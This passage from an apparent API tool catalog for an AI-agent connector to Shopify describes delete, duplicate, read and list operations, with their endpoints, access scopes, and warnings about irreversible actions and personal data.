later creates a different id. POST /api/v1/tools/shopify/customers/addresses/delete. Scopes: write_customers. shopify_delete_delivery_customization (write, destructive) — DESTRUCTIVE. Remove a delivery customisation and its configuration. POST /api/v1/tools/shopify/delivery/customizations/delete. Scopes: write_delivery_customizations. shopify_delete_delivery_profile (write, destructive) — DESTRUCTIVE. Delete a profile and every rate in it. Confirmation required. POST /api/v1/tools/shopify/delivery/profiles/delete. Scopes: write_shipping. shopify_delete_discount_code (write, destructive) — DESTRUCTIVE — delete a discount code and its usage history. Irreversible. Deactivating stops a code working just as completely and keeps the record of what it did, so prefer that unless the code must genuinely cease to exist. Orders already placed with the code keep their discount; deleting it reprices nothing. POST /api/v1/tools/shopify/discounts/delete. Scopes: write_discounts. shopify_delete_discount_redeem_codes (write, destructive) — DESTRUCTIVE. Delete named redeem codes from a discount. The inverse of shopify_add_discount_redeem_codes, and the way to retire one leaked code without touching the discount everyone else is using. Irreversible: re-adding the same string creates a new code with no history behind it. NO SAVED SEARCH AND NO SEARCH STRING. Shopify offers savedSearchId and search here as alternatives to ids; neither is exposed. The effect ships via list-then-name - read the codes on the discount, then name the ones to delete. What is refused is a selector whose blast radius the caller cannot state and the audit row cannot record. Asynchronous: it returns a job. Poll it with shopify_get_job. POST /api/v1/tools/shopify/discounts/codes/delete. Scopes: write_discounts. shopify_delete_draft_order (write, destructive) — DESTRUCTIVE — delete a draft order. Irreversible, but the blast radius is small by construction: a draft is unpaid, so deleting one destroys a quote and touches no money, no stock and no customer. Shopify refuses once it has been completed, because at that point it is an order. POST /api/v1/tools/shopify/draft-orders/delete. Scopes: write_draft_orders. shopify_delete_external_marketing_activity (write, destructive) — DESTRUCTIVE - delete one Shopify external marketing activity and the engagement figures recorded against it. The store's attribution for that campaign disappears from Shopify's reports and re-creating it does not restore the history. Setting status INACTIVE instead keeps the record. Pass EXACTLY ONE identifier. POST /api/v1/tools/shopify/marketing/activities/delete. Scopes: write_marketing_events. shopify_delete_inventory_shipment (write, destructive) — DESTRUCTIVE -- delete an inventory shipment permanently. Its allocated quantity returns to the parent transfer. POST /api/v1/tools/shopify/inventory/shipments/delete. Scopes: write_inventory_shipments. shopify_delete_inventory_transfer (write, destructive) — DESTRUCTIVE -- delete an inventory transfer permanently. Prefer cancelling: it achieves the same operational result and keeps the audit trail. POST /api/v1/tools/shopify/inventory/transfers/delete. Scopes: write_inventory_transfers. shopify_delete_location (write, destructive) — DESTRUCTIVE -- delete a location permanently. There is no undelete anywhere in Shopify's API. Prefer deactivating, which moves the stock somewhere explicit and can be undone. POST /api/v1/tools/shopify/locations/delete. Scopes: write_locations. shopify_delete_market (write, destructive) — DESTRUCTIVE. Delete a market. Its shoppers move somewhere else. Shopify has no undelete. Everything configured against the market goes with it: its currency settings, its tax and duty strategy, its region list, and its association with catalogs and web presences. The catalogs and web presences themselves survive - they are separate objects - but nothing routes shoppers to them through this market any more. Every shopper the market claimed falls through to whichever market claims them next, on their next page load, at that market's prices. The inverse shipped in the same migration is shopify_create_market, and it is an inverse only in the sense that it can build a market with the same countries again. It does not restore this one, and any catalog or web presence attachment has to be rebuilt by hand. POST /api/v1/tools/shopify/markets/delete. Scopes: read_markets, write_markets. shopify_delete_marketing_engagements (write, destructive) — DESTRUCTIVE - delete every engagement figure recorded for one Shopify marketing channel. That channel's attribution history disappears from the merchant's reports with no undo. The channel handle is required; there is no all-channels option. POST /api/v1/tools/shopify/marketing/engagements/delete. Scopes: write_marketing_events. shopify_delete_menu (write, destructive) — DESTRUCTIVE - delete a Shopify navigation menu. There is no undelete, and if the theme referenced its handle the storefront navigation goes empty for every shopper. Shopify refuses to delete a default menu. POST /api/v1/tools/shopify/navigation/menus/delete. Scopes: write_online_store_navigation. shopify_delete_metafield (write) — Remove one metafield, identified by its owner, namespace and key. The exact inverse of writing one. POST /api/v1/tools/shopify/metafields/delete. Scopes: write_products, write_orders, write_customers, write_draft_orders. shopify_delete_metafield_definition (write, destructive) — DESTRUCTIVE -- delete a metafield definition. delete_all_associated_metafields defaults to false, which keeps the stored values as loose metafields; setting it true destroys every value in the store. POST /api/v1/tools/shopify/metafield-definitions/delete. Scopes: write_products, write_orders, write_customers, write_draft_orders. shopify_delete_metaobject (write, destructive) — DESTRUCTIVE -- delete a metaobject permanently. Theme references to it break. POST /api/v1/tools/shopify/metaobjects/delete. Scopes: write_metaobjects. shopify_delete_metaobject_definition (write, destructive) — DESTRUCTIVE -- delete a metaobject definition and every metaobject of that type. Irreversible. Check metaobjectsCount with shopify_get_metaobject_definition before calling. POST /api/v1/tools/shopify/metaobject-definitions/delete. Scopes: write_metaobject_definitions. shopify_delete_order (write, destructive) — DESTRUCTIVE. Delete an order and its financial history. Confirmation required. POST /api/v1/tools/shopify/orders/delete. Scopes: write_orders. shopify_delete_page (write, destructive) — DESTRUCTIVE - delete a Shopify page. There is no undelete and the storefront URL stops resolving. Unpublishing it with shopify_update_page removes it from the storefront and keeps the text. POST /api/v1/tools/shopify/content/pages/delete. Scopes: write_content. shopify_delete_product (write, destructive) — DESTRUCTIVE — delete a product, its variants and its media. SHOPIFY HAS NO UNDELETE. It ships as the inverse of creating a product, so a merchant is not left tidying up by hand — but Set product status to ARCHIVED is the reversible version of the same intent and is almost always the better answer. POST /api/v1/tools/shopify/products/delete. Scopes: write_products. shopify_delete_product_media (write, destructive) — DESTRUCTIVE -- permanently delete images, videos or 3D models from a Shopify product. Takes the product id and up to 100 media ids from shopify_list_product_media. There is no undo: re-uploading media is not offered by this connector. Deleting media also detaches it from any variant that referenced it. POST /api/v1/tools/shopify/products/media/delete. Scopes: write_products. shopify_delete_product_options (write, destructive) — Delete product options from a Shopify product. strategy NON_DESTRUCTIVE (default here) refuses if any variant would be deleted; DEFAULT is Shopify's own; POSITION deletes duplicate variants, highest position first, with no undo. POST /api/v1/tools/shopify/products/options/delete. Scopes: write_products. shopify_delete_saved_search (write, destructive) — DESTRUCTIVE. Remove a saved search from the merchant's admin. POST /api/v1/tools/shopify/saved-searches/delete. Scopes: read_customers, read_orders, read_products, read_draft_orders. shopify_delete_url_redirect (write) — Remove one Shopify URL redirect. The path returns to whatever the storefront would otherwise serve - usually a 404, occasionally the page the redirect was masking. POST /api/v1/tools/shopify/navigation/redirects/delete. Scopes: write_online_store_navigation. shopify_delete_variants (write, destructive) — DESTRUCTIVE -- delete Shopify product variants. Takes the PARENT PRODUCT id -- Shopify addresses this mutation to the product -- and up to 100 variant ids. Irreversible. Shopify refuses to delete the last variant on a product. POST /api/v1/tools/shopify/variants/delete. Scopes: write_products. shopify_delete_web_presence (write, destructive) — DESTRUCTIVE. Take a storefront address offline. Links stop working. WHAT BREAKS: every URL this presence served stops being served. If it held a domain, that domain no longer answers with a shopfront; if it held a subfolder, those paths stop resolving. Anyone who arrives from a bookmark, an email, an ad or a search result lands on nothing. The market that used the presence keeps existing and falls back to the store's primary address. The inverse shipped in the same migration is shopify_create_web_presence, which can rebuild a presence on the same domain or suffix. It does not bring back the alternate-locale list or the market attachment; read those with shopify_list_web_presences BEFORE calling this. POST /api/v1/tools/shopify/markets/web-presences/delete. Scopes: read_markets, write_markets. shopify_detach_media_from_variant (write) — Detach media from a Shopify product variant. The image stays on the product and on other variants; only this variant's association is removed. Use shopify_delete_product_media if the media itself must go -- that one has no undo. POST /api/v1/tools/shopify/variants/media/detach. Scopes: write_products. shopify_disable_local_pickup (write, destructive) — DESTRUCTIVE. Stop offering local pickup. The instructions are discarded. POST /api/v1/tools/shopify/delivery/local-pickup/disable. Scopes: write_shipping. shopify_disable_shop_locale (write, destructive) — DESTRUCTIVE. Remove a language AND every translation in it. Shopify's own sentence, and it is the whole hazard: "Deletes a locale for a shop. This also deletes all translations of this locale." Every product title, description, page, menu label and metafield value ever translated into this language is gone. Shopify has no undelete for them, and re-enabling the locale brings back an empty one. The inverse shipped in the same migration, shopify_enable_shop_locale, restores the LANGUAGE and none of the content. If the intent is only to hide a language from shoppers, use shopify_update_shop_locale with published=false instead - that is completely reversible and this is not. POST /api/v1/tools/shopify/i18n/locales/disable. Scopes: write_locales. shopify_dispose_reverse_fulfillment_order (write, destructive) — DESTRUCTIVE -- dispose Shopify reverse fulfilment order line items as RESTOCKED, NOT_RESTOCKED, MISSING or PROCESSING_REQUIRED. RESTOCKED requires a location and makes the units sellable again. There is no un-dispose mutation -- check the goods before calling. POST /api/v1/tools/shopify/returns/reverse-fulfillment-orders/dispose. Scopes: write_returns, write_inventory. shopify_duplicate_collection (write) — Duplicate a Shopify collection under a new title. The copy is always unpublished on every channel. It carries the original's manual product membership, description and sort order. For large collections a job id is returned; poll it with shopify_get_job. POST /api/v1/tools/shopify/collections/duplicate. Scopes: write_products. shopify_duplicate_draft_order (write) — Copy a draft order into a new unpaid draft. NO MONEY MOVES. A draft order is an unpaid quote, so duplicating one charges nothing, reserves nothing and mails nothing. It is how a repeat wholesale order gets rebuilt without retyping forty lines, and unlike shopify_create_draft_order it carries across whatever the original had that AF's create deliberately does not expose. Reversible by shopify_delete_draft_order. POST /api/v1/tools/shopify/draft-orders/duplicate. Scopes: write_draft_orders. shopify_duplicate_inventory_transfer (write) — Duplicate an inventory transfer as a new DRAFT with the same endpoints and lines. Use it to replace a cancelled transfer. POST /api/v1/tools/shopify/inventory/transfers/duplicate. Scopes: write_inventory_transfers. shopify_duplicate_product (write) — Duplicate a Shopify product. The copy is always created as DRAFT and carries the original's options, variants, tags and prices, but no inventory, history or channel publication. Optionally copy images (moved in a background job) and translations. POST /api/v1/tools/shopify/products/duplicate. Scopes: write_products. shopify_edit_inventory_transfer (write) — Edit the header of an inventory transfer. Origin and destination are editable on DRAFT transfers only. Tags replace the existing list rather than adding to it. POST /api/v1/tools/shopify/inventory/transfers/edit. Scopes: write_inventory_transfers. shopify_edit_location (write, destructive) — DESTRUCTIVE -- partial update of a location's name, address and whether it fulfils online orders. Turning off online fulfilment removes its stock from what the storefront can sell. POST /api/v1/tools/shopify/locations/edit. Scopes: write_locations. shopify_enable_local_pickup (write) — Offer local pickup at a location, with a promised readiness time. POST /api/v1/tools/shopify/delivery/local-pickup/enable. Scopes: write_shipping. shopify_enable_shop_locale (write) — Add a language to the store. It starts UNPUBLISHED. Shopify's own words: "The newly added locale is in the unpublished state." Nothing is visible to a shopper until shopify_update_shop_locale publishes it, which is the safe order: enable, translate, then publish. The inverse is shopify_disable_shop_locale, and it is NOT a clean inverse - disabling deletes every translation stored against the locale. Read that method before using it. POST /api/v1/tools/shopify/i18n/locales/enable. Scopes: write_locales. shopify_enable_standard_metaobject_definition (write) — Turn on one of Shopify's ready-made metaobject definitions. POST /api/v1/tools/shopify/metaobject-definitions/standard/enable. Scopes: write_metaobject_definitions. shopify_find_inventory_items (read) — Search inventory items with Shopify search syntax on sku, id, created_at or updated_at, e.g. 'sku:ABC-1'. Returns the inventoryItem id needed by every inventory write, plus tracking, customs data and unit cost. GET /api/v1/tools/shopify/inventory/items. Scopes: write_inventory. shopify_find_locations (read) — Search the store's locations with Shopify search syntax on name, address, city, country and active status. Set include_inactive to see deactivated locations, which the plain list action hides. GET /api/v1/tools/shopify/locations/search. Scopes: read_locations. shopify_get_abandonment (read) — Read one abandonment record. The signed cart URL is never returned. GET /api/v1/tools/shopify/abandonment. Scopes: read_marketing_events. shopify_get_article (read) — Read one Shopify blog article: title, handle, full HTML body, summary, byline, tags, blog and comment count. The image is reported by alt text only; the image URL is deliberately not returned. GET /api/v1/tools/shopify/content/article. Scopes: read_content. shopify_get_blog (read) — Read one Shopify blog: title, handle, comment policy, template and article count. Get the blog_id from shopify_list_blogs. GET /api/v1/tools/shopify/content/blog. Scopes: read_content. shopify_get_business_entity (read) — Read one legal entity the store trades as. Check archived. GET /api/v1/tools/shopify/business-entity. Scopes: read_orders. shopify_get_carrier_service (read) — Read one carrier service and the countries it quotes for. GET /api/v1/tools/shopify/delivery/carrier-service. Scopes: read_shipping. shopify_get_catalog (read) — Read one catalog: its markets, its status, its price list. priceList.parent.adjustment is the standing rule in numbers - a percentage off or on, applied to every product in the catalog. Reading it is how an agent answers "why is this product 12% cheaper in Germany". Changing it is not possible through AF and will not be; see the section comment and docs/coverage/shopify.md. GET /api/v1/tools/shopify/catalogs/catalog. Scopes: read_products. shopify_get_collection (read) — Read one collection and the products in it. This is what answers 'what is in the sale collection', and it produces the product ids that removing products from a collection needs. GET /api/v1/tools/shopify/collection. Scopes: read_products. shopify_get_collection_by_identifier (read) — Read a collection by its storefront handle rather than its GID. GET /api/v1/tools/shopify/collection-by-identifier. Scopes: read_products. shopify_get_customer (read) — Read one customer by id. RETURNS PERSONAL DATA — name, email address, phone number, address and lifetime spend. Reading ONE person is strictly narrower than listing a page of them, so granting this instead of List customers REDUCES exposure for the common case. If the store's app does not hold Shopify's protected-customer-data Level 2 approval, those fields come back empty and Agentic Fabriq says so explicitly rather than reporting a generic failure. GET /api/v1/tools/shopify/customer. Scopes: read_customers. shopify_get_customer_by_identifier (read) — Look up a single Shopify customer by id, email address, phone number or a merchant-defined unique metafield value. Returns that one record or nothing -- narrower than searching the customer list, which returns a page of real people. GET /api/v1/tools/shopify/customers/by-identifier. Scopes: read_customers. shopify_get_customer_segment_membership (read) — Check whether a specific Shopify customer belongs to each of up to 100 segments. Returns segmentId/isMember pairs and no personal data. Pass segment_ids as a comma-separated list of GIDs. GET /api/v1/tools/shopify/segments/membership. Scopes: read_customers. shopify_get_customer_tax_exemptions (read) — Read a Shopify customer's taxExempt flag and the list of TaxExemption members on their record. Required before replacing or removing exemptions, because it is the only record of the previous list. GET /api/v1/tools/shopify/customers/tax-exemptions. Scopes: read_customers. shopify_get_delivery_customization (read) — Read one delivery customisation, including its function error history. GET /api/v1/tools/shopify/delivery/customization. Scopes: read_delivery_customizations. shopify_get_delivery_profile (read) — Read one shipping profile: zones, rates and locations. The zones read. GET /api/v1/tools/shopify/delivery/profile. Scopes: read_shipping. shopify_get_delivery_promise_settings (read) — Read whether delivery dates are shown, and the store's processing time. GET /api/v1/tools/shopify/delivery/promise-settings. Scopes: read_shipping. shopify_get_discount (read) — Read one discount, including the codes attached to it and how many times it has been used. GET /api/v1/tools/shopify/discount. Scopes: read_discounts. shopify_get_discount_by_code (read) — Look a discount up by the string the shopper typed. THE READ THAT ANSWERS THE ACTUAL SUPPORT TICKET. A customer says "SAVE20 isn't working"; every other discount read starts from an id nobody has. This starts from the string in the email and returns the status, the dates and the used-count against the usage limit, which is the whole diagnosis. It is also how a caller obtains the DiscountCodeNode id the update, activate, deactivate and delete actions need. Case-insensitive at Shopify. Covers all four code types. GET /api/v1/tools/shopify/discounts/by-code. Scopes: read_discounts. shopify_get_discount_code_batch (read) — Read a redeem-code batch: what was created, and what failed. shopify_add_discount_redeem_codes is asynchronous and returns only an id, so without this read the operation is unverifiable. It reports importedCount against failedCount and, per code, the exact error - a duplicate code fails on its own without failing the batch, and nothing else in the API will tell you which one it was. GET /api/v1/tools/shopify/discounts/code-batch. Scopes: read_discounts. shopify_get_domain (read) — Read one storefront domain and the web presence bound to it. SHOPIFY PUBLISHES NO "Requires ... access scope" LINE ON THIS QUERY. The scope declared on the catalog row is read_markets, because the only field a caller can reach it through in this connector is webPresences[].domain.id, and because Domain.marketWebPresence is itself a markets object. If a live store answers ACCESS_DENIED for a connection that holds read_markets, the scope on this row is what needs correcting, not the document. GET /api/v1/tools/shopify/markets/domain. Scopes: read_markets. shopify_get_draft_order (read) — Read one draft order and what it prices. The payable invoice link is deliberately NOT returned: anyone holding that string can pay the draft, which makes it a credential rather than a field. GET /api/v1/tools/shopify/draft-order. Scopes: read_draft_orders. shopify_get_event (read) — Read one Shopify event by its full GID (gid://shopify/BasicEvent/123). Returns the action, the timestamp, whether an app or a staff user caused it, and the human-readable message -- which names staff and quotes changed values. GET /api/v1/tools/shopify/event. Scopes: read_orders, read_products, read_customers, read_draft_orders. shopify_get_fulfillment (read) — Read one fulfilment: what was shipped, when, and what tracking the shopper was given. The check to run after correcting tracking details. GET /api/v1/tools/shopify/fulfillment. Scopes: read_orders. shopify_get_fulfillment_order (read) — Read a single Shopify fulfilment order. Returns status, assigned location, line items with remaining quantities, active holds, the supported next actions, and the fulfilment orders it is eligible to be merged with. Call this before splitting, merging, rescheduling or marking ready for pickup. GET /api/v1/tools/shopify/fulfillment-order. Scopes: read_merchant_managed_fulfillment_orders, read_third_party_fulfillment_orders. shopify_get_gift_card (read) — Read one gift card and its transaction ledger. No redeemable code. GET /api/v1/tools/shopify/gift-card. Scopes: read_gift_cards. shopify_get_granted_scopes (read) — Read which access scopes this connection holds. Run this first on a 403. GET /api/v1/tools/shopify/granted-scopes. Scopes: read_products. shopify_get_inventory_item (read) — Read a single inventory item: unit cost, SKU, whether Shopify tracks it, country and province of origin, HS code and weight. GET /api/v1/tools/shopify/inventory/item. Scopes: write_inventory. shopify_get_inventory_level (read) — Read a single inventory level: its quantities, its location, whether it is active, whether it can be deactivated and the deactivation alert explaining why not. GET /api/v1/tools/shopify/inventory/level. Scopes: write_inventory. shopify_get_inventory_levels (read) — Read how many units of one item exist at each location — available (what the storefront will sell), on hand, committed and incoming. THIS CLOSES THE LARGEST HOLE IN THIS CONNECTOR: Agentic Fabriq could change stock and could not read it, so an agent told 'set this SKU to 10' had to guess a delta against a number it could not see. It needs NO new permission — Shopify's inventory write scope already grants the read. Read the value here and pass it to Set stock level as the comparison, and a concurrent change makes the write fail loudly instead of silently overwriting. GET /api/v1/tools/shopify/inventory/levels. Scopes: write_inventory. shopify_get_inventory_properties (read) — Read the shop's inventory configuration: every quantity name, its display name, whether it is in use, and how the names compose. GET /api/v1/tools/shopify/inventory/properties. Scopes: write_inventory. shopify_get_inventory_shipment (read) — Read a single inventory shipment, its tracking and its line items with accepted, rejected and unreceived quantities. Read it before receiving. GET /api/v1/tools/shopify/inventory/shipment. Scopes: read_inventory_shipments. shopify_get_inventory_transfer (read) — Read a single inventory transfer, its line items (including shippableQuantity, which bounds what a new shipment may carry) and its shipments. Read this before creating or editing a shipment. GET /api/v1/tools/shopify/inventory/transfer. Scopes: read_inventory_transfers. shopify_get_job (read) — Ask whether an asynchronous Shopify job has finished. Cancelling an order and changing collection membership both return a job and complete later; before this, the only advice was to re-read the affected object and infer completion from it. A job that is not done has not failed. At Shopify the job read inherits the scope of the work behind it, so a job from a collection change needs the product scopes that action already carries. GET /api/v1/tools/shopify/job. Scopes: read_orders. shopify_get_location (read) — Read a single location: address, whether it fulfils online orders, and the activatable / deactivatable / deletable flags that predict whether the matching mutation will succeed. Omit the id for the shop's primary location. GET /api/v1/tools/shopify/location. Scopes: read_locations. shopify_get_location_by_identifier (read) — Look up a location by a custom id held in a metafield, e.g. the warehouse code 'WH-EU-02', and get back its Shopify global id. GET /api/v1/tools/shopify/locations/by-identifier. Scopes: read_locations. shopify_get_market (read) — Read one market in full: currency, tax strategy, regions, address. webPresences is the part worth reading before any write. It is the list of addresses this market answers on, and domain.id is the only place in this connector a domain id can be obtained - Shopify's domain query takes an id it does not hand out, and the shop-wide domain list belongs to the shop family, not this one. GET /api/v1/tools/shopify/markets/market. Scopes: read_markets. shopify_get_market_localizable_content (read) — Read per-market content and the digests its writes require. Run this IMMEDIATELY before shopify_register_market_localizations. digest is a hash of the source value at read time and is the only thing standing between a concurrent edit and a localization silently attached to content that has since changed. marketLocalizations[].outdated reports the same problem after the fact. Shopify publishes both marketLocalizableResource (one id) and marketLocalizableResourcesByIds (many); this tool uses the plural form for both, because a list of one is the singular query. GET /api/v1/tools/shopify/i18n/market-localizable-content. Scopes: read_translations. shopify_get_marketing_activity (read) — Read one Shopify marketing activity: title, status, tactic, channel, UTM parameters, ad spend and budget. Get the id from shopify_list_marketing_activities. GET /api/v1/tools/shopify/marketing/activity. Scopes: read_marketing_events. shopify_get_marketing_event (read) — Read one Shopify marketing event: type, description, channel handle, UTM parameters and dates. Get the id from shopify_list_marketing_events. GET /api/v1/tools/shopify/marketing/event. Scopes: read_marketing_events. shopify_get_menu (read) — Read one Shopify navigation menu and its complete item tree, three levels deep. CALL THIS BEFORE shopify_update_menu: that mutation replaces the whole tree, so anything you do not send back is deleted. GET /api/v1/tools/shopify/navigation/menu. Scopes: read_online_store_navigation. shopify_get_metafield_definition (read) — Read a single metafield definition: its type, validations, validation status, pin position, access settings and how many metafields use it. GET /api/v1/tools/shopify/metafield-definition. Scopes: read_products, read_orders, read_customers, read_draft_orders. shopify_get_metafields (read) — Read the metafields attached to a product, variant, order, customer, collection or draft order. Metafields are where merchants and their other apps keep everything Shopify's own schema has no field for — a supplier code, a warranty period, a care instruction — and an agent that cannot read them is working from half the record. Note the scopes: this reaches every one of those owner types, and Shopify gates a metafield on its owner's own permission. GET /api/v1/tools/shopify/metafields. Scopes: read_products, read_orders, read_customers, read_draft_orders. shopify_get_metaobject (read) — Read a single metaobject by id: handle, type, display name and every field's key, type and raw value. GET /api/v1/tools/shopify/metaobject. Scopes: read_metaobjects. shopify_get_metaobject_by_handle (read) — Read a metaobject by its type plus handle, e.g. type 'size_guide' handle 'mens-shoes'. GET /api/v1/tools/shopify/metaobject/by-handle. Scopes: read_metaobjects. shopify_get_metaobject_definition (read) — Read a metaobject definition by id: field definitions, access settings and metaobjectsCount. GET /api/v1/tools/shopify/metaobject-definition. Scopes: read_metaobject_definitions. shopify_get_metaobject_definition_by_type (read) — Read a metaobject definition by type, e.g. 'size_guide'. Its fieldDefinitions are the keys a create or update may name. GET /api/v1/tools/shopify/metaobject-definition/by-type. Scopes: read_metaobject_definitions. shopify_get_order (read) — Read one Shopify order in full. RETURNS PERSONAL DATA: the shopper's name, email address, phone number and shipping address, plus every line item. Only call it when the task is about that specific order — shopify_list_orders answers status questions and returns none of it. The line-item ids returned here are what shopify_refund_order needs. GET /api/v1/tools/shopify/order. Scopes: read_orders. shopify_get_order_edit (read) — Re-read an open edit session: totals, lines, shipping, discounts. THE READ EVERY REMOVAL IN THIS BLOCK DEPENDS ON. shopify_begin_order_edit returns the calculated line items and nothing else, so before this there was no way to obtain a calculated SHIPPING LINE id or a calculated DISCOUNT APPLICATION id - which means no way to call the four operations that remove or update one. A write whose arguments no read can supply is not a shipped feature. It is also the "show a human the numbers before committing" call: total_outstanding is what the customer would still owe after the edit, and it is the field that decides whether committing leaves the merchant chasing a balance. Nothing here is committed. The order is unchanged until shopify_commit_order_edit. GET /api/v1/tools/shopify/orders/edit. Scopes: write_order_edits. shopify_get_order_risk (read) — Read Shopify's fraud assessment of an order, and every app's. THE READ THAT BELONGS UNDER shopify_cancel_order. AF can already cancel an order and refund it, and neither can be undone - and until now nothing in this connector could answer the question that precedes both: is this order actually fraudulent, and who says so. recommendation is Shopify's own verdict (ACCEPT, INVESTIGATE, CANCEL, NONE), and each assessment carries the facts behind it plus the app that produced it - provider is null when the assessment is Shopify's own. Non-mutating and cheap. It is what makes the destructive order actions supportable rather than guesswork. GET /api/v1/tools/shopify/orders/risk. Scopes: read_orders. shopify_get_page (read) — Read one Shopify page: title, handle, full HTML body, publication state and template. Get the page_id from shopify_list_pages. GET /api/v1/tools/shopify/content/page. Scopes: read_content. shopify_get_price_list (read) — Read one price list and the per-variant prices it sets. READ ONLY. This is the tool that answers "why does this variant cost that in this market". originType says whether the price came from the list's percentage adjustment or was set by hand on the variant. AF cannot write any of it. See shopify_list_price_lists and docs/coverage/shopify.md for why every price-list mutation is refused. GET /api/v1/tools/shopify/catalogs/price-list. Scopes: read_products. shopify_get_product (read) — Read one Shopify product with its description, tags and variants. Each variant carries the `inventoryItem.id` that shopify_adjust_inventory requires — that id is neither the product id nor the variant id. Current stock LEVELS are deliberately not returned: reading them needs read_inventory on top of read_products, and requiring it would stop a read-only products grant from working at all. GET /api/v1/tools/shopify/product. Scopes: read_products. shopify_get_product_operation (read) — Read a Shopify ProductOperation by id. Returns status (CREATED, ACTIVE, COMPLETE), the resulting product, and any userErrors the background mutation produced. Use it after shopify_set_product with synchronous=false, shopify_create_product_bundle or shopify_update_product_bundle. GET /api/v1/tools/shopify/products/operation. Scopes: read_products. shopify_get_refund (read) — Read one refund: what was given back, to whom, and by which staff member. GET /api/v1/tools/shopify/refund. Scopes: read_orders. shopify_get_return (read) — Read one return and its status. REQUESTED awaits a decision, OPEN has been approved and awaits the goods, CLOSED is finished, DECLINED and CANCELED ended early. Every other return action keys off that status. GET /api/v1/tools/shopify/return. Scopes: read_returns. shopify_get_returnable_fulfillment (read) — Read a single Shopify returnable fulfilment by id, with every fulfilment line item and the quantity still available to return. Use it to re-check availability just before creating a return. GET /api/v1/tools/shopify/returns/returnable-fulfillment. Scopes: read_returns, read_orders. shopify_get_reverse_delivery (read) — Read a Shopify reverse delivery: line items and carrier tracking (carrier, number, tracking URL). The return label's public download link is deliberately excluded from the response. GET /api/v1/tools/shopify/returns/reverse-delivery. Scopes: read_returns. shopify_get_reverse_fulfillment_order (read) — Read one Shopify reverse fulfilment order: line items with expected quantities, dispositions already applied, and the reverse deliveries attached. Supplies the ids for shopify_create_reverse_delivery and shopify_dispose_reverse_fulfillment_order. GET /api/v1/tools/shopify/returns/reverse-fulfillment-order. Scopes: read_returns. shopify_get_segment (read) — Read one Shopify customer segment by id -- its name, its ShopifyQL definition, and when it was created and last edited. No customer data. GET /api/v1/tools/shopify/segment. Scopes: read_customers. shopify_get_shop_settings (read) — Read the Shopify store's configuration - name, domains, currency, timezone, units, tax settings, plan, billing address - and the FULL TEXT of its refund, privacy, terms-of-service, shipping and contact policies. Quote the policy text rather than inferring it. Agentic Fabriq cannot change any policy. The analytics token and storefront access tokens Shopify exposes on this object are not returned. GET /api/v1/tools/shopify/shop/settings. Scopes: read_legal_policies. shopify_get_taxonomy (read) — Search Shopify's product taxonomy. Only a leaf category is accepted later. GET /api/v1/tools/shopify/taxonomy. Scopes: read_products. shopify_get_translatable_content (read) — Read the source content, its digests, and one language's version. This is the read to run IMMEDIATELY before shopify_register_translations, and running it any earlier is the bug this docstring exists to prevent. translatableContent.digest is a hash of the source text at the moment of reading. If somebody edits the product between this read and the write, the digest goes stale and Shopify refuses the write - which is the good outcome. The bad one is the reverse: a digest cached from an old read, applied to text that has since changed, silently attaching a translation to content nobody is showing any more. translations[].outdated is the same fact after the fact: it means the source changed since this translation was written. GET /api/v1/tools/shopify/i18n/translatable-content. Scopes: read_translations. shopify_get_url_redirect (read) — Read one Shopify URL redirect: id, source path and target. Get the id from shopify_list_url_redirects. GET /api/v1/tools/shopify/navigation/redirect. Scopes: read_online_store_navigation. shopify_get_variant (read) — Read one variant directly, including the delivery profile that prices it. GET /api/v1/tools/shopify/variant. Scopes: read_products. shopify_hold_fulfillment_order (write) — Stop a shipment REVERSIBLY. This is the bounded version of the intent an agent otherwise satisfies with Cancel an order, which Shopify cannot undo: the goods stay where they are, the order stays open, no money moves, nobody is emailed, and Release a shipment restores it exactly. Shipping the reversible tool alongside the irreversible one is a net reduction in risk, because it is what an agent reaches for instead. POST /api/v1/tools/shopify/fulfillment-orders/hold. Scopes: write_merchant_managed_fulfillment_orders. shopify_list_abandoned_checkouts (read) — List carts that were started and not completed, with their value and item count. THIS IS A LIST OF PEOPLE WHO DID NOT BUY, and Agentic Fabriq has no consent signal for them — so it returns NO name, email, phone or address, and specifically not the checkout recovery link, which lets whoever holds it open that person's cart. It answers 'how much value are we losing at checkout'; turning it into outreach would need contact details it does not return. Shopify also requires the staff user to hold the manage-abandoned-checkouts permission. GET /api/v1/tools/shopify/abandoned-checkouts. Scopes: read_orders. shopify_list_all_fulfillment_orders (read) — List Shopify fulfilment orders store-wide with search and paging. Supports Shopify search syntax over status, updated_at and assigned_location_id. Use it to find shipments to act on when you do not have an order id. GET /api/v1/tools/shopify/fulfillment-orders/all. Scopes: read_merchant_managed_fulfillment_orders, read_third_party_fulfillment_orders. shopify_list_api_versions (read) — List the Admin API versions Shopify still serves, against the pinned one. GET /api/v1/tools/shopify/api-versions. Scopes: read_products. shopify_list_article_authors (read) — List the author names already used on the Shopify store's articles. Call this before shopify_create_article, which requires a byline: inventing one attributes an article to a person who did not write it. GET /api/v1/tools/shopify/content/article-authors. Scopes: read_content. shopify_list_article_comments (read) — List the comments on one Shopify blog article with their moderation status, body and the commenter's display name. Shopify also exposes each commenter's email address, IP address and user agent; none of those is returned. Get the article_id from shopify_list_articles. GET /api/v1/tools/shopify/content/comments. Scopes: read_content. shopify_list_article_tags (read) — List the tags already used across the Shopify store's articles, so tagging is a choice from an existing vocabulary rather than a guess. GET /api/v1/tools/shopify/content/article-tags. Scopes: read_content. shopify_list_articles (read) — List Shopify blog articles with id, title, handle, byline, tags, blog and publication state. Bodies are not returned - use shopify_get_article. Filter with Shopify search syntax, e.g. `blog_title:News`. GET /api/v1/tools/shopify/content/articles. Scopes: read_content. shopify_list_available_carrier_services (read) — List carrier services paired with the locations they can ship from. GET /api/v1/tools/shopify/delivery/carrier-services/available. Scopes: read_shipping. shopify_list_available_locales (read) — List every locale the store COULD publish, not the ones it does. GET /api/v1/tools/shopify/locales/available. Scopes: read_locales. shopify_list_blogs (read) — List the Shopify store's blogs with id, title, handle, article count and comment policy. The id is what shopify_create_article needs. The comment policy tells you whether comments are moderated, closed, or auto-published without review. GET /api/v1/tools/shopify/content/blogs. Scopes: read_content. shopify_list_business_entities (read) — List the legal entities the store trades as. GET /api/v1/tools/shopify/business-entities. Scopes: read_orders. shopify_list_carrier_services (read) — List carrier services. The callback URL is never selected or returned. GET /api/v1/tools/shopify/delivery/carrier-services. Scopes: read_shipping. shopify_list_catalogs (read) — List catalogs - what each market can see and what it pays. priceList is selected because it is the thing worth knowing before touching a catalog: fixedPricesCount says how many products this catalog re-prices. AF ships no mutation that can change those prices (see the section comment), so this read is how an agent explains a price a shopper is seeing rather than the one on the product. GET /api/v1/tools/shopify/catalogs. Scopes: read_products. 